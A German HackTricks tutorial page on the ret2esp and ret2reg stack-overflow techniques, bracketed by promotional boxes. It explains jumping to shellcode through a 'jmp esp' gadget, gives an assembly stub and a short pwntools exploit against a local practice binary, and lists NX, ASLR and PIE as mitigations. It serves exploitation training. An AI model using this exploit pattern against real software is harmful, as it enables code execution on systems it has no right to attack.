hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

87 lines
5.8 KiB
Markdown
Raw Normal View History

# Ret2esp / Ret2reg
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
## **Rest2esp**
**Da der ESP (Stack-Zeiger) immer auf den obersten Teil des Stacks zeigt**, beinhaltet diese Technik das Ersetzen des EIP (Instruktionszeigers) durch die Adresse einer **`jmp esp`** oder **`call esp`** Anweisung. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret`-Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/) könnte es jedoch erforderlich sein, innerhalb des anfälligen Programms nach diesen Anweisungen zu suchen (und Sie müssen möglicherweise [**PIE**](../common-binary-protections-and-bypasses/pie/) umgehen).
Darüber hinaus ermöglicht es, den Shellcode **nach der EIP-Korruption** zu platzieren, anstatt in der Mitte des Stacks, sicherzustellen, dass keine `push` oder `pop` Anweisungen, die während des Betriebs der Funktion ausgeführt werden, den Shellcode beeinträchtigen. Diese Beeinträchtigung könnte auftreten, wenn der Shellcode in der Mitte des Stacks der Funktion platziert wäre.
### Platzmangel
Wenn Ihnen der Platz zum Schreiben nach dem Überschreiben von RIP fehlt (vielleicht nur wenige Bytes), schreiben Sie einen anfänglichen `jmp`-Shellcode wie:
```armasm
sub rsp, 0x30
jmp rsp
```
Und schreiben Sie den Shellcode früh im Stapel.
### Beispiel
Sie können ein Beispiel für diese Technik unter [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) finden mit einem endgültigen Exploit wie:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
## Ret2reg
Ebenso können wir, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, die **`call eax`**- oder **`jmp eax`**-Anweisungen nutzen (bekannt als **ret2eax**-Technik), um eine weitere Methode zum Ausführen unseres Shellcodes zu bieten. Genau wie eax kann **jeder andere Registerwert** mit einer interessanten Adresse verwendet werden (**ret2reg**).
### Beispiel
Ein Beispiel findest du hier: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
## Schutzmaßnahmen
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft dies nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Diese können es schwieriger machen, eine Anweisung zum Springen zu esp oder einem anderen Register zu finden.
## Referenzen
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
<details>
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn du deine **Firma in HackTricks beworben sehen möchtest** oder **HackTricks als PDF herunterladen möchtest**, überprüfe die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Hol dir das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile deine Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst.
</details>